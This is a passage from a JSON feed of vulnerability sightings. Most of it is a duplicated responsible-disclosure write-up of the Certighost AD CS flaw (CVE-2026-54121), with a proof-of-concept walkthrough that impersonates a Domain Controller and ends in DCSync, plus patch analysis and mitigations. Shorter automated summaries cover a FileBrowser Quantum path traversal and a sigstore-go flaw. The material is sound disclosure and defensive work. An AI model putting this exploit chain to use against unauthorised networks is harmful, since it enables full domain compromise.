CertSvc -Force\n```\n\nThis is a mitigation, not a patch. If `EDITF_ENABLECHASECLIENTDC` is re-enabled on an unpatched CA by an administrator, image, or group policy, the vulnerability is exploitable again.\n\nNote: *This hot fix was validated only in a controlled lab environment, not on a production CA. Before applying it in production, test it on a staging CA that mirrors your environment and confirm that no legitimate enrollment relies on the chase fallback those requests will fail once the flag is cleared. The July update remains the recommended remediation.*\n\n## Timeline\n\n- **May 14, 2026:** Vulnerability reported to the Microsoft Security Response Center\n- **May 14, 2026:** Case assigned\n- **May 22, 2026:** Case investigated and confirmed\n- **July 14, 2026:** Patch released by Microsoft as CVE-2026-54121\n- **July 24, 2026:** Public disclosure\n\n## References\n\n- [certighost.py PoC script](https://github.com/aniqfakhrul/CVE-2026-54121)\n- [Certipy AD CS toolkit](https://github.com/ly4k/Certipy)\n- [Microsoft Security Update Guide: CVE-2026-54121](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121)\n- [MS-WCCE: Windows Client Certificate Enrollment Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/)\n\n## Acknowledgments\n\nThe authors would like to thank the Microsoft Security Response Center for the acknowledgement.\n", "creation_timestamp": "2026-07-31T22:55:39.429402Z"}, {"uuid": "615a5ed9-a19f-4c30-8d3c-a9351fb4c9c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54910", "type": "seen", "source": "https://gist.github.com/alon710/9fa87dd82b0216d33fe7579c4687415f", "content": "# CVE-2026-54910: CVE-2026-54910: Multiple Path Traversal Vulnerabilities in FileBrowser Quantum Subtitle Handler\n\n> **CVSS Score:** 7.7\n> **Published:** 2026-07-31\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54910\n\n## Summary\nFileBrowser Quantum (a fork of Filebrowser) prior to version 1.4.3-beta is vulnerable to multiple directory traversal flaws in its subtitle handler endpoint (`GET /api/media/subtitles`). This allows authenticated users with standard access to read arbitrary text files on the host system.\n\n## TL;DR\nAuthenticated path traversal in FileBrowser Quantum subtitle handler allows reading arbitrary system files via unvalidated query parameters.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-22\n- **Attack Vector**: Network\n- **CVSS Score**: 7.7\n- **EPSS Score**: 0.00307\n- **Impact**: Arbitrary File Read\n- **Exploit Status**: poc\n- **KEV Status**: No\n\n## Affected Systems\n\n- FileBrowser Quantum\n- **FileBrowser Quantum**: < 1.4.3-beta (Fixed in: `1.4.3-beta`)\n\n## Mitigation\n\n- Upgrade to v1.4.3-beta or higher\n- Run application as a non-privileged user\n- Apply strict container-level or chroot isolation\n\n**Remediation Steps:**\n1. Identify running instances of FileBrowser Quantum\n2. Pull and deploy the patched image or binary for version 1.4.3-beta\n3. Verify the GET /api/media/subtitles endpoint sanitizes inputs by testing with a non-admin account\n\n## References\n\n- [GitHub Security Advisory GHSA-vvp7-h4fj-m28w](https://github.com/gtsteffaniak/filebrowser/security/advisories/GHSA-vvp7-h4fj-m28w)\n- [Fix Patch Commit f3f4bbe](https://github.com/gtsteffaniak/filebrowser/commit/f3f4bbe80cb569d664174aea874d7bfa008c3b5a)\n- [Pull Request #2524](https://github.com/gtsteffaniak/filebrowser/pull/2524)\n- [FileBrowser Quantum v1.4.3-beta Release](https://github.com/gtsteffaniak/filebrowser/releases/tag/v1.4.3-beta)\n- [National Vulnerability Database Entry](https://nvd.nist.gov/vuln/detail/CVE-2026-54910)\n- [CVE.org Authority Record](https://www.cve.org/CVERecord?id=CVE-2026-54910)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54910) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-07-31T23:31:28.511183Z"}, {"uuid": "dea069c6-83d9-4921-88d7-3e08a13a4c8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54910", "type": "seen", "source": "https://gist.github.com/alon710/9fa87dd82b0216d33fe7579c4687415f", "content": "# CVE-2026-54910: CVE-2026-54910: Multiple Path Traversal Vulnerabilities in FileBrowser Quantum Subtitle Handler\n\n> **CVSS Score:** 7.7\n> **Published:** 2026-07-31\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54910\n\n## Summary\nFileBrowser Quantum (a fork of Filebrowser) prior to version 1.4.3-beta is vulnerable to multiple directory traversal flaws in its subtitle handler endpoint (`GET /api/media/subtitles`). This allows authenticated users with standard access to read arbitrary text files on the host system.\n\n## TL;DR\nAuthenticated path traversal in FileBrowser Quantum subtitle handler allows reading arbitrary system files via unvalidated query parameters.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-22\n- **Attack Vector**: Network\n- **CVSS Score**: 7.7\n- **EPSS Score**: 0.00307\n- **Impact**: Arbitrary File Read\n- **Exploit Status**: poc\n- **KEV Status**: No\n\n## Affected Systems\n\n- FileBrowser Quantum\n- **FileBrowser Quantum**: < 1.4.3-beta (Fixed in: `1.4.3-beta`)\n\n## Mitigation\n\n- Upgrade to v1.4.3-beta or higher\n- Run application as a non-privileged user\n- Apply strict container-level or chroot isolation\n\n**Remediation Steps:**\n1. Identify running instances of FileBrowser Quantum\n2. Pull and deploy the patched image or binary for version 1.4.3-beta\n3. Verify the GET /api/media/subtitles endpoint sanitizes inputs by testing with a non-admin account\n\n## References\n\n- [GitHub Security Advisory GHSA-vvp7-h4fj-m28w](https://github.com/gtsteffaniak/filebrowser/security/advisories/GHSA-vvp7-h4fj-m28w)\n- [Fix Patch Commit f3f4bbe](https://github.com/gtsteffaniak/filebrowser/commit/f3f4bbe80cb569d664174aea874d7bfa008c3b5a)\n- [Pull Request #2524](https://github.com/gtsteffaniak/filebrowser/pull/2524)\n- [FileBrowser Quantum v1.4.3-beta Release](https://github.com/gtsteffaniak/filebrowser/releases/tag/v1.4.3-beta)\n- [National Vulnerability Database Entry](https://nvd.nist.gov/vuln/detail/CVE-2026-54910)\n- [CVE.org Authority Record](https://www.cve.org/CVERecord?id=CVE-2026-54910)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54910) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-08-01T00:00:16.049048Z"}, {"uuid": "7bfb496a-f0df-456f-bfcb-fbaef4598231", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://gist.github.com/nomad2620/6da70de3bc53162f4044a544a014c317", "content": "# Certighost (CVE-2026-54121)\n\n**Authors:** [@h0j3n](https://x.com/h0j3n), [@aniqfakhrul](https://x.com/aniqfakhrul)  \n**Date:** July 24, 2026\n\n---\n\nCertighost is an Active Directory Certificate Services (AD CS) vulnerability that allowed a low-privileged domain user to impersonate a Domain Controller and achieve domain compromise in the tested AD CS configuration. The issue was addressed in the July 2026 security updates.\n\nThe vulnerable path is an AD CS enrollment fallback known as a *chase* during directory-object resolution. By supplying request attributes such as `cdc`, an attacker could cause the Certification Authority (CA) to ask an attacker-controlled host for identity data belonging to a Domain Controller. The CA then used that data while issuing a certificate.\n\n\n  \n\n\nThis post explains how the chase path works, why it could be abused, and what changed in the update.\n\n## Introduction to Active Directory Certificate Services\n\nIf you already work with AD CS, feel free to skip ahead. For the rest of the post, it is enough to think of a certificate as a signed proof of identity. Like a Kerberos ticket, it can be presented during authentication to show who a user or computer is supposed to be.\n\nAD CS is Microsoft's public key infrastructure implementation. It integrates with Active Directory and issues X.509 certificates for purposes such as encryption, signing, secure communications, and authentication.\n\nA certificate binds a subject to a public key. The private key stays with the requester, while the certificate contains the public key and identity information signed by a Certification Authority. A service that trusts the CA can use that signature to trust the identity in the certificate.\n\nCertificate templates control the enrollment process. A template decides who may request a certificate, what it can be used for, what identity information must be present, and whether the CA may accept information supplied in the request.\n\nThe relevant piece here is certificate-based client authentication. A client requests a certificate from an Enterprise CA and later presents it to the Key Distribution Center (KDC) to obtain Kerberos credentials.\n\n### PKINIT and certificate mapping\n\nTo make this concrete, consider a small lab domain named `ABC.LOCAL` with AD CS installed. A low-privileged account can request a certificate from a template it is permitted to enroll in, then use that certificate to authenticate to the KDC.\n\n![Requesting and authenticating with a certificate using Certipy](https://gist.github.com/user-attachments/assets/c7d6f12d-d1bc-451c-b861-eb2863060173)\n\n\nRequesting and authenticating with a certificate using Certipy\n\nDuring certificate authentication, the KDC maps the identity in the certificate to an Active Directory account and issues a Kerberos TGT when the mapping succeeds.\n\n## Background: the chase fallback\n\nBefore getting to the bug, we need to look at one enrollment behavior. In some cross-domain-controller enrollment scenarios, the CA may perform a second directory lookup, referred to here as a *chase*.\n\nTwo request attributes influence that lookup:\n\n- `cdc` (Client DC), which identifies the host the CA should contact\n- `rmd` (Remote Domain), which identifies the principal the CA should look up\n\nWhen both attributes are present, the CA contacts the host named by `cdc` over SMB and LDAP, then searches for the principal named by `rmd`. The request-processing path reads these values and passes them into the remote directory lookup.\n\n\n\n  \n\n\n\nWireshark capture showing the CA following the requester-controlled cdc target to the attacker host over SMB/LSA and LDAP.\n\n## The vulnerability: Certighost\n\nThe CA accepted the requester-supplied chase target without first proving that it was the Domain Controller it claimed to be. That made it possible for an attacker to run LDAP and LSA services on a host they controlled, direct the CA to that host, and return directory data for a chosen target principal.\n\nIn the vulnerable flow, the attacker supplies `cdc` and `rmd` in a certificate request. The CA opens SMB and LDAP connections to the address in `cdc`, performs the chase lookup for the principal in `rmd`, and uses the returned identity data while building the certificate.\n\nThe issue is not just the outbound connection. The CA used the response from that host as directory data for the request. In the tested chain, the attacker could return a Domain Controller's `objectSid` and `dNSHostName`. Those values influenced the certificate identity material issued by the CA, including the strong-mapping SID and DNS identity fields used during authentication.\n\nA machine account created through the default `ms-DS-MachineAccountQuota` setting is a valid domain principal. This allowed the attacker-controlled chase endpoint to satisfy the authentication checks needed for the CA to continue, even though it was not the Domain Controller being impersonated.\n\n\n\n  \n\n\n\nVulnerable chase flow: the CA follows requester-controlled cdc, accepts attacker-supplied directory data, and issues certificate identity material for the target DC.\n\nThe diagram follows the three parties involved in the vulnerable chase: the attacker prepares a valid machine account and rogue services, the CA follows the requester-controlled `cdc` target and trusts the returned identity data, and the Domain Controller is then impersonated through certificate-based authentication and replication access.\n\n## Proof of concept walkthrough\n\n### Lab environment\n\nOur test environment contained:\n\n- An AD forest at Windows Server 2016 or later functional level\n- Domain Controller: `WDC01.abc.local` (`192.168.8.128`)\n- Enterprise CA: `abc-WCA01-CA` on `WCA01.abc.local` (`192.168.8.129`)\n- The default `ms-DS-MachineAccountQuota` value of `10`\n- The default `Machine` certificate template with its default access control list\n- An attacker host at `192.168.8.134`\n- One low-privileged Domain Users account: `normaluser`\n\n### Step 1: Install dependencies\n\nThe proof of concept is a self-contained Python script. It requires impacket, cryptography, pyasn1, asn1crypto, and dnspython.\n\n```bash\nsudo pip install --break-system-packages git+https://github.com/fortra/impacket.git cryptography pyasn1 asn1crypto pycryptodome dnspython\n```\n\n### Step 2: Run the proof of concept and observe the result\n\n```bash\nsudo python3 certighost.py \\\n  -d abc.local \\\n  -u normaluser -p '[PASSWORD]' \\\n  --dc-ip 192.168.8.128\n```\n\nThe script discovers the CA and a target Domain Controller, creates a machine account, starts the local LDAP and LSA services, submits the crafted enrollment request, and produces the terminal output shown below.\n\n![Terminal output of a successful Certighost run](https://gist.github.com/user-attachments/assets/7ad0a7a7-edf7-4b50-8c69-7e0c91ed2ae4)\n\n\nTerminal output of a successful Certighost run\n\nAt this point, the attacker has a CA-signed certificate that authenticates as the target Domain Controller in the tested configuration and a Kerberos credential cache for that account.\n\n### Step 3: DCSync\n\nA Domain Controller account has directory replication rights. With the resulting Kerberos credential, the attacker can request account secrets, including the `krbtgt` secret.\n\n![Successful DCSync output showing the `krbtgt` account](https://gist.github.com/user-attachments/assets/64e7a484-87d4-46fc-a3d7-c2b600ffe9cd)\n\n\nSuccessful DCSync output showing the `krbtgt` account\n\n### What the proof of concept does\n\nThe script follows the full chain in one process:\n\n1. It connects to LDAP with the supplied low-privileged account and discovers the CA, Domain Controller, domain SID, and domain GUID.\n2. It creates a machine account through `ms-DS-MachineAccountQuota` and registers the required service principal names.\n3. It starts local LSA and LDAP services. The services relay the CA's authentication challenge to the real Domain Controller so the chase endpoint is accepted as a valid domain principal.\n4. It submits a certificate request containing the `cdc` and `rmd` attributes.\n5. It receives a certificate carrying identity material for the target Domain Controller, including SID and DNS-name data used by the authentication flow.\n6. It uses the certificate to authenticate as the target Domain Controller and writes the resulting credential cache.\n\n## Post-update behavior\n\nThe July 2026 update changes the CA-side request path. Before continuing a chase, the CA validates the supplied `cdc` target against Active Directory.\n\nThe update adds a validation step to the principal-loading path. When the validation gate is active, the CA checks that the hostname supplied in `cdc` resolves to a legitimate Domain Controller computer object in the real directory before it continues the chase. A validation failure takes the request down an error path rather than the chase continuation.\n\n| Component | Before the update | After the update |\n|---|---|---|\n| Chase target | The CA followed the requester-supplied target | The CA validates the supplied `cdc` hostname against the real directory |\n| Principal lookup | The remote response was treated as authoritative | The target must resolve to a legitimate Domain Controller computer object |\n| Certificate identity data | Returned SID and hostname could be attacker-controlled | Resolution proceeds only after target validation and a follow-on SID comparison |\n| Certificate request result | A forged chase response could lead to issuance | A failed validation or SID comparison takes an error path |\n\nThe fix addresses the trust boundary that made Certighost possible: a chase endpoint is no longer accepted merely because it responds as a domain principal. The July binary contains a gate around the new validation, so the protection applies when that gate and its validation path are active.\n\nThe diagram below summarizes the July update path. It shows which checks must pass before the CA continues the chase, and which checks stop the request before that point.\n\n\n\n\nJuly update flow: the CA validates the chase target against AD before allowing the referral chase to continue.\n\nRead the diagram from top to bottom: the request enters the validation path, each check answers one yes/no question, and the request must pass every check before the chase continues. A failed check stops the request before that point. The specific conditions behind each check - length and character checks, the Domain Controller computer-object requirement, and the resolved-SID comparison - are described in the paragraph below.\n\nThe validation function rejects overlong and IP-literal targets, blocks the filtered-character set before constructing the LDAP query, and requires a unique computer object whose `userAccountControl` includes `SERVER_TRUST_ACCOUNT` (`8192`). If the first directory search has no match, the code retries with an extracted base DN. The loader only reaches the referral continuation after a successful validation return; it also contains a later resolved-SID comparison. These control-flow observations were checked against the hash-matched July DLL.\n\n\nDetailed patched flow:\n\n```text\n1. User submits cert enrollment request with cdc=\"attacker.example.com\"\n2. _LoadPrincipalObject() calls _GetDSObject() -> fails (referral needed)\n3. polGetRequestAttribute(\"cdc\", &bstrString) -> reads attacker's hostname\n4. NEW: Feature_3185813818 check (servicing flag)\n   - DISABLED -> old behavior (backward compat)\n   - ENABLED -> _ValidateChaseTargetIsDC(bstrString)\n      - Reject if empty\n      - Reject if > 260 chars\n      - Reject if IPv4 address (RtlIpv4StringToAddressW)\n      - Reject if IPv6 address (RtlIpv6StringToAddressW)\n      - Reject if contains LDAP injection chars: ( ) * [ \\ ]\n      - LDAP search: (&(objectCategory=computer)(dNSHostName=)\n                       (userAccountControl:1.2.840.113556.1.4.803:=8192))\n         - 8192 = SERVER_TRUST_ACCOUNT = must be a real DC\n         - If 0 results -> try with extracted base DN (_ExtractBaseDNForDCSearch)\n         - If still 0 -> REJECT\n5. Only if validation passes -> _GetDSObject(a2, 1, bstrString) -> connect to verified DC\n6. NEW: _GetObjectSID() -> verify resolved object's SID matches requester's SID\n   - If SID mismatch -> REJECT (prevents object substitution)\n```\n\n## Code analysis\n\nThe proof-of-concept shows the impact, but the code path explains the root cause. The relevant logic sits in `certpdef.dll`, the AD CS Certificate Policy Enterprise module loaded by `certsrv.exe`. The vulnerable behavior is in the request-principal loading path, where request-supplied attributes are used while resolving the requester identity.\n\nWe compare the June and July builds because June is the vulnerable baseline and July is the Microsoft patched build. That makes the July-only functions useful markers for the fix.\n\nThe functions that matter for the request path are:\n\n| Build | Function | Why it matters |\n|---|---|---|\n| June / vulnerable | `CRequestInstance::_LoadPrincipalObject` | Vulnerable integration point; reads the requester-controlled chase target. |\n| June / vulnerable | `CRequestInstance::_GetDSObject` | Directory lookup/chase sink reached with the untrusted `cdc` host. |\n| June / vulnerable | `CRequestInstance::_GetObjectSID` | Original SID retrieval path before the July identity-verification changes. |\n| July / patched | `CRequestInstance::_ExtractBaseDNForDCSearch` | Helper used by the DC verification LDAP search. |\n| July / patched | `CRequestInstance::_ValidateChaseTargetIsDC` | Validates that `cdc` resolves to a real Domain Controller. |\n| July / patched | `CRequestInstance::_LoadPrincipalObject` | Patched integration point; calls validation before the chase. |\n| July / patched | `CRequestInstance::_GetDSObject` | Same logical sink, now reached only after validation when the protected path is active. |\n| July / patched | `CRequestInstance::_GetObjectSID` | Updated identity/SID verification path after object resolution. |\n| July / patched | `Feature_3185813818` | Servicing feature gate around the updated behavior. |\n\nThe July-only pieces to look for are `CRequestInstance::_ValidateChaseTargetIsDC`, `CRequestInstance::_ExtractBaseDNForDCSearch`, and the `Feature_3185813818` gate.\n\n### June vulnerable build flow\n\nIn the June vulnerable build, `CRequestInstance::_LoadPrincipalObject` reads the `cdc` request attribute and passes it directly into `_GetDSObject` with chase enabled.\n\n```c\n// decompiled shape from CRequestInstance::_LoadPrincipalObject\npolGetRequestAttribute(policy, L\"cdc\", &bstrString);\n\nCRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n//                                           ^ chase enabled\n//                                              ^ requester-controlled host\n```\n\nThe request-to-directory path is:\n\n```text\ncertificate request attribute -> cdc BSTR -> _GetDSObject(..., chase = 1, cdc)\n```\n\nIn other words, requester-controlled routing data reached a directory-authority decision before the CA had checked that the target was a Domain Controller.\n\n### July patched build flow\n\nThe July patched build wraps the same chase with a feature-gated validation call and then performs an additional SID verification path.\n\n```c\n// decompiled shape from CRequestInstance::_LoadPrincipalObject\npolGetRequestAttribute(policy, L\"cdc\", &bstrString);\n\nif (Feature_3185813818::IsEnabled()) {\n    CRequestInstance::_ValidateChaseTargetIsDC(this, bstrString);\n\n    CRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n\n    CRequestInstance::_GetObjectSID(this, &resolved_sid, mode);\n}\n```\n\nThere is still an legacy behavior branch visible in the patched control flow:\n\n```c\nCRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n```\n\nThat branch is reached when the servicing feature gate is not enabled. For lab validation, the feature state matters because the protected path is conditional.\n\n## Code analysis: `_ValidateChaseTargetIsDC`\n\n`CRequestInstance::_ValidateChaseTargetIsDC` is the main new guard. It takes the requester-supplied `cdc` value and checks that it is a Domain Controller hostname before `_GetDSObject` follows the chase.\n\nThe validation has two layers.\n\nFirst, it rejects values that are not safe DC hostnames:\n\n```c\n// 1. Strip leading backslashes, then reject empty input\nwhile (*target == L'\\\\')\n    target++;\nif (*target == L'\\0')\n    reject;\n\n// 2. Reject oversized hostnames\nif (wcslen(target) > 0x104)\n    reject;\n\n// 3. Reject IPv4 and IPv6 literals\nif (RtlIpv4StringToAddressW(target, TRUE, &end, &ipv4) == STATUS_SUCCESS && *end == 0)\n    reject;\n\nif (RtlIpv6StringToAddressW(target, &end, &ipv6) == STATUS_SUCCESS && *end == 0)\n    reject;\n\n// 4. Reject LDAP filter metacharacters\nfor (p = target; *p; p++) {\n    if ((*p - 0x28) <= 2 || (*p - 0x5b) <= 2)\n        reject;\n}\n```\n\nThe IP checks block raw-address chase targets such as `192.0.2.10` or `::1`. The metacharacter check keeps the hostname inside the LDAP filter slot.\n\nAfter the string checks, the function asks Active Directory whether the target is a DC:\n\n```text\n(&(objectCategory=computer)(dNSHostName=%s)(userAccountControl:1.2.840.113556.1.4.803:=8192))\n```\n\n`8192` is `SERVER_TRUST_ACCOUNT`, the `userAccountControl` bit used by Domain Controller computer accounts. The updated code searches for exactly one computer object with that bit set and a `dNSHostName` matching the supplied `cdc` value.\n\nThe search path is roughly:\n\n```c\nldap_search_ext_sW(ldap, NULL, LDAP_SCOPE_SUBTREE,\n                   filter, NULL, TRUE, NULL, NULL,\n                   &timeout, 1, &result);\n\ncount = ldap_count_entries(ldap, result);\n\nif (count == 0) {\n    base_dn = CRequestInstance::_ExtractBaseDNForDCSearch(this);\n    ldap_search_ext_sW(ldap, base_dn, LDAP_SCOPE_SUBTREE,\n                       filter, NULL, TRUE, NULL, NULL,\n                       &timeout, 1, &result);\n    count = ldap_count_entries(ldap, result);\n}\n\nif (count != 1)\n    reject;\n```\n\nThe missing check was simple but critical: the chase target must be an AD-registered Domain Controller, not just a host string from the certificate request.\n\n## Why the update fixes the bug\n\nBefore the update, the vulnerable chain was:\n\n```text\nattacker request -> cdc=\"attacker host\" -> CA LDAP chase -> attacker response -> issued identity\n```\n\nAfter the update, the intended chain is:\n\n```text\nattacker request -> cdc=\"some host\"\n        |\n        v\nvalidate hostname shape\n        |\n        v\nquery AD for dNSHostName= AND SERVER_TRUST_ACCOUNT\n        |\n        v\nrequire exactly one real DC object\n        |\n        v\nonly then call _GetDSObject(..., chase = 1, cdc)\n        |\n        v\nverify resolved SID / identity\n```\n\nThe update changes two things:\n\n1. **Target authenticity:** the chase target must be an AD-registered Domain Controller, not an arbitrary requester-controlled host.\n2. **Object authenticity:** the object resolved through the chase must match the expected identity, preventing substitution even if the lookup path is unusual.\n\n## Functions of interest\n\nFor security researchers tracing the request path, start with these functions:\n\n```text\nJune vulnerable build\n  CRequestInstance::_LoadPrincipalObject\n  CRequestInstance::_GetDSObject\n  CRequestInstance::_GetObjectSID\n\nJuly patched build\n  Feature_3185813818\n  CRequestInstance::_ExtractBaseDNForDCSearch\n  CRequestInstance::_ValidateChaseTargetIsDC\n  CRequestInstance::_LoadPrincipalObject\n  CRequestInstance::_GetDSObject\n  CRequestInstance::_GetObjectSID\n```\n\nGood code references for the writeup are:\n\n1. June `_LoadPrincipalObject` showing `cdc` flowing into `_GetDSObject`.\n2. July `_LoadPrincipalObject` showing the call to `_ValidateChaseTargetIsDC` before `_GetDSObject`.\n3. July `_ValidateChaseTargetIsDC` showing the IP rejection and LDAP filter construction.\n4. July `_ValidateChaseTargetIsDC` showing the `userAccountControl:1.2.840.113556.1.4.803:=8192` DC query.\n5. July `_GetObjectSID` or its caller site showing the added SID verification path.\n\n## Hot fix without the update: disable the chase fallback\n\nIf the July update cannot be installed immediately, the vulnerable code path can be switched off completely with a policy flag, because the `cdc` chase is an optional fallback feature, not code that runs on every request:\n\n```powershell\ncertutil -setreg policy\\EditFlags -EDITF_ENABLECHASECLIENTDC\nRestart-Service CertSvc -Force\n```\n\nThis is a mitigation, not a patch. If `EDITF_ENABLECHASECLIENTDC` is re-enabled on an unpatched CA by an administrator, image, or group policy, the vulnerability is exploitable again.\n\nNote: *This hot fix was validated only in a controlled lab environment, not on a production CA. Before applying it in production, test it on a staging CA that mirrors your environment and confirm that no legitimate enrollment relies on the chase fallback those requests will fail once the flag is cleared. The July update remains the recommended remediation.*\n\n## Timeline\n\n- **May 14, 2026:** Vulnerability reported to the Microsoft Security Response Center\n- **May 14, 2026:** Case assigned\n- **May 22, 2026:** Case investigated and confirmed\n- **July 14, 2026:** Patch released by Microsoft as CVE-2026-54121\n- **July 24, 2026:** Public disclosure\n\n## References\n\n- [certighost.py PoC script](https://github.com/aniqfakhrul/CVE-2026-54121)\n- [Certipy AD CS toolkit](https://github.com/ly4k/Certipy)\n- [Microsoft Security Update Guide: CVE-2026-54121](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121)\n- [MS-WCCE: Windows Client Certificate Enrollment Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/)\n\n## Acknowledgments\n\nThe authors would like to thank the Microsoft Security Response Center for the acknowledgement.\n", "creation_timestamp": "2026-08-01T00:00:16.150307Z"}, {"uuid": "cfe66909-0b67-4c5a-b7ef-c4fbdd6719ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "Telegram/CaZ2R0Efl1eBRVqO-sOZ66dFvtq0H_ENlFRwe45W-O_e0iQ", "content": "", "creation_timestamp": "2026-08-01T00:00:10.848443Z"}, {"uuid": "5c0fbb16-440f-4455-9a59-aa8e4e100c69", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54787", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/5yafsgae3owcl", "content": "CVE-2026-54787 - sigstore-go fails to check signature timestamps against a signing key's validity period\nCVE ID : CVE-2026-54787\n \n Published : July 31, 2026, 11:17 p.m. | 31\u00a0minutes ago\n \n Description : sigstore-go is a Go library for Sigstore signing and verification. Prior ...", "creation_timestamp": "2026-08-01T00:00:23.977586Z"}, {"uuid": "f1e6e9b2-034b-4535-ba80-8b2397073775", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54787", "type": "seen", "source": "https://gist.github.com/alon710/f7703eb7ff99ed9d3ada7f401de565eb", "content": "# CVE-2026-54787: CVE-2026-54787: Insufficient Timestamp Validation in sigstore-go Key Verification Path\n\n> **CVSS Score:** 3.1\n> **Published:** 2026-07-31\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54787\n\n## Summary\nA security vulnerability in sigstore-go prior to version 1.2.1 allowed the use of expired or retired self-managed long-lived public keys wrapped in an ExpiringKey configuration to successfully sign code or artifacts. Because the verification pipeline verified the cryptographic signatures and RFC 3161 timestamps but failed to perform a temporal boundary check on the public key's validity window, verifiers running affected versions would mistakenly accept signatures produced outside of the key's designated operational lifetime.\n\n## TL;DR\nPrior to version 1.2.1, sigstore-go failed to validate signature timestamps against the validity window of self-managed long-lived public keys wrapped in an ExpiringKey configuration. This allowed an attacker with expired or rotated key material to generate accepted signed bundles, effectively bypassing key rotation policies and breaking cryptographic trust guarantees.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-324\n- **Attack Vector**: Network\n- **CVSS**: 3.1 (Low)\n- **EPSS Score**: Not Available\n- **Impact**: Partial Integrity Compromise\n- **Exploit Status**: PoC (Proof-of-Concept) inside official repository\n- **KEV Status**: Not Listed\n\n## Affected Systems\n\n- sigstore-go\n- **sigstore-go**: < 1.2.1 (Fixed in: `1.2.1`)\n\n## Mitigation\n\n- Upgrade sigstore-go dependency to version 1.2.1 or higher.\n- Ensure verification policies explicitly require at least one verified signed timestamp using verify.WithSignedTimestamps(1) or equivalent.\n- Avoid utilizing verify.WithNoObserverTimestamps() when validating key-signed bundles.\n\n**Remediation Steps:**\n1. Open your project's terminal and execute the update command: go get github.com/sigstore/sigstore-go@v1.2.1\n2. Run go mod tidy to update the go.mod and go.sum configuration files.\n3. Review initialization parameters for verify.NewVerifier and verify.NewPolicy to confirm that timestamp checking is not bypassed.\n4. Recompile and redeploy the verification binaries to your target systems.\n\n## References\n\n- [GHSA-wqqc-jjcq-vfxm Advisory](https://github.com/sigstore/sigstore-go/security/advisories/GHSA-wqqc-jjcq-vfxm)\n- [sigstore-go Pull Request 642](https://github.com/sigstore/sigstore-go/pull/642)\n- [Fix Commit 4594ab4c779d08be1f4419803a8249188f35ed5f](https://github.com/sigstore/sigstore-go/commit/4594ab4c779d08be1f4419803a8249188f35ed5f)\n- [sigstore-go v1.2.1 Release Notes](https://github.com/sigstore/sigstore-go/releases/tag/v1.2.1)\n- [CVE-2026-54787 on CVE.org](https://www.cve.org/CVERecord?id=CVE-2026-54787)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54787) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-08-01T00:00:16.243622Z"}, {"uuid": "8943cc7e-e3e7-4572-a06d-b7d10d472212", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54107", "type": "seen", "source": "https://t.me/bdufstecru/3354", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430 Win32k (Win32k.sys) \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c Windows \u0441\u0432\u044f\u0437\u0430\u043d\u0430 c \u043e\u0448\u0438\u0431\u043a\u0430\u043c\u0438 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u043e\u0431\u0449\u0435\u0433\u043e \u0440\u0435\u0441\u0443\u0440\u0441\u0430 (\u00ab\u0421\u0438\u0442\u0443\u0430\u0446\u0438\u044f \u0433\u043e\u043d\u043a\u0438\u00bb). \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u0441\u0432\u043e\u0438 